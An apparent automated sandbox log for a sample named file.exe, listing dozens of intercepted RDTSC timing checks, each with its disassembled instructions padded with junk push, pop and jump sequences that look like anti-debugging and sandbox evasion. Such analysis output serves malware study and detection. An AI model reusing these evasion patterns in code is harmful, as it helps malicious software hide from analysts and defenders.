Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B26CC second address: 7B26F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BEDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jc 00007FDD98C55BF6h 0x00000012 push ecx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop ecx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B07E5 second address: 7B07EF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDD98B6CD1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2C50 second address: 7B2C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2C54 second address: 7B2C5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2C5A second address: 7B2CCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDD98C55BF6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jg 00007FDD98C55BEAh 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FDD98C55BE8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D2752h], eax 0x00000035 mov dword ptr [ebp+1245205Fh], esi 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e mov ebx, dword ptr [ebp+122D3AFDh] 0x00000044 pop ebx 0x00000045 push 00000000h 0x00000047 mov ebx, dword ptr [ebp+12473D6Dh] 0x0000004d push eax 0x0000004e pushad 0x0000004f pushad 0x00000050 jnp 00007FDD98C55BE6h 0x00000056 push ecx 0x00000057 pop ecx 0x00000058 popad 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B4CC2 second address: 7B4CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B4EA2 second address: 7B4EA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6D16 second address: 7B6DAB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FDD98B6CD18h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 or di, 9C76h 0x0000002b pushad 0x0000002c sub dword ptr [ebp+12460A07h], edi 0x00000032 cld 0x00000033 popad 0x00000034 push dword ptr fs:[00000000h] 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push 00000000h 0x00000044 push edx 0x00000045 call 00007FDD98B6CD18h 0x0000004a pop edx 0x0000004b mov dword ptr [esp+04h], edx 0x0000004f add dword ptr [esp+04h], 00000015h 0x00000057 inc edx 0x00000058 push edx 0x00000059 ret 0x0000005a pop edx 0x0000005b ret 0x0000005c mov edi, dword ptr [ebp+122D3CD1h] 0x00000062 mov eax, dword ptr [ebp+122D12ADh] 0x00000068 sub dword ptr [ebp+1245C37Eh], esi 0x0000006e push FFFFFFFFh 0x00000070 mov dword ptr [ebp+1247953Dh], ebx 0x00000076 nop 0x00000077 jnl 00007FDD98B6CD3Ah 0x0000007d push eax 0x0000007e push edx 0x0000007f jmp 00007FDD98B6CD1Ah 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8DA2 second address: 7B8DEE instructions: 0x00000000 rdtsc 0x00000002 je 00007FDD98C55BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D3404h], esi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FDD98C55BE8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov ebx, dword ptr [ebp+12451C47h] 0x00000034 push 00000000h 0x00000036 mov di, 254Fh 0x0000003a push eax 0x0000003b push esi 0x0000003c jl 00007FDD98C55BECh 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B4F7D second address: 7B4F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8F28 second address: 7B8FA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnp 00007FDD98C55BECh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 sub bl, 00000005h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov edi, edx 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 call 00007FDD98C55BF7h 0x0000002d pop edi 0x0000002e mov eax, dword ptr [ebp+122D058Dh] 0x00000034 push FFFFFFFFh 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007FDD98C55BE8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 push eax 0x00000051 pushad 0x00000052 push edx 0x00000053 jmp 00007FDD98C55BEDh 0x00000058 pop edx 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BABC3 second address: 7BABCD instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDD98B6CD1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAD50 second address: 7BAD54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7509BE second address: 7509E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c je 00007FDD98B6CD16h 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4F4A second address: 7C4F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4F50 second address: 7C4F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C509B second address: 7C50A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDD98C55BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C50A5 second address: 7C50CD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDD98B6CD16h 0x00000008 jmp 00007FDD98B6CD24h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop esi 0x00000010 jnp 00007FDD98B6CD29h 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D009F second address: 7D00A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D00A5 second address: 7D00A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D00A9 second address: 7D00AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D00AD second address: 7D00CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDD98B6CD24h 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D03D7 second address: 7D040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FDD98C55BF2h 0x0000000f jmp 00007FDD98C55BF1h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0569 second address: 7D0579 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0579 second address: 7D057E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D06E1 second address: 7D06E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D084E second address: 7D085E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FDD98C55BEAh 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D09F1 second address: 7D09FB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5451 second address: 7D5464 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FDD98C55BEDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5464 second address: 7D546B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754000 second address: 754006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754006 second address: 754030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD23h 0x00000009 jmp 00007FDD98B6CD1Eh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754030 second address: 754034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754034 second address: 754046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FDD98B6CD16h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754046 second address: 75404A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB0D9 second address: 7DB0DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB0DD second address: 7DB0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB0E3 second address: 7DB114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD20h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDD98B6CD27h 0x0000000e jc 00007FDD98B6CD16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9F2E second address: 7D9F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BEAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9F41 second address: 7D9F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA0CA second address: 7DA0EB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDD98C55BE6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FDD98C55BEFh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA41B second address: 7DA45D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDD98B6CD16h 0x00000008 jmp 00007FDD98B6CD24h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDD98B6CD1Dh 0x00000016 jmp 00007FDD98B6CD25h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA45D second address: 7DA461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA461 second address: 7DA46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA8D7 second address: 7DA901 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDD98C55BE6h 0x00000008 jmp 00007FDD98C55BF2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FDD98C55BE6h 0x00000017 jng 00007FDD98C55BE6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA901 second address: 7DA905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFB77 second address: 7DFB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFB7B second address: 7DFB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFB7F second address: 7DFBA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b je 00007FDD98C55BE6h 0x00000011 popad 0x00000012 pop esi 0x00000013 jne 00007FDD98C55BFCh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jng 00007FDD98C55BE6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFBA2 second address: 7DFBA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFE45 second address: 7DFE65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF5h 0x00000009 popad 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFE65 second address: 7DFE9E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDD98B6CD26h 0x0000000b push ebx 0x0000000c jmp 00007FDD98B6CD27h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFE9E second address: 7DFEA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFFDC second address: 7DFFFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FDD98B6CD16h 0x0000000a jmp 00007FDD98B6CD29h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E013F second address: 7E0146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E05B0 second address: 7E05B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E06E6 second address: 7E06F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jng 00007FDD98C55BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E06F2 second address: 7E06F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E06F7 second address: 7E0733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jng 00007FDD98C55BE6h 0x00000015 jnp 00007FDD98C55BE6h 0x0000001b je 00007FDD98C55BE6h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 jno 00007FDD98C55BE6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0733 second address: 7E0737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0737 second address: 7E073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E073D second address: 7E0743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0743 second address: 7E075B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDD98C55BEDh 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E09EC second address: 7E09F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E09F1 second address: 7E09FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDD98C55BE6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78228C second address: 7822B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FDD98B6CD3Dh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7822B1 second address: 7822B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7822B7 second address: 7822D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD21h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EF00 second address: 74EF34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FDD98C55BF6h 0x0000000d popad 0x0000000e jmp 00007FDD98C55BF5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EF34 second address: 74EF3B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EF3B second address: 74EF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EF46 second address: 74EF4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0DB0 second address: 7E0DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF6DA second address: 7DF700 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDD98B6CD16h 0x00000008 jmp 00007FDD98B6CD22h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF700 second address: 7DF719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755AA0 second address: 755ABC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDD98B6CD24h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755ABC second address: 755AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98C55BF1h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755AD3 second address: 755AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5F15 second address: 7E5F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDD98C55BE6h 0x0000000a pop ebx 0x0000000b jmp 00007FDD98C55BF4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5F34 second address: 7E5F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDD98B6CD29h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA816 second address: 7EA84C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDD98C55BEFh 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jmp 00007FDD98C55BEEh 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 push edi 0x0000001a jnl 00007FDD98C55BE6h 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA84C second address: 7EA852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA852 second address: 7EA856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA856 second address: 7EA85A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
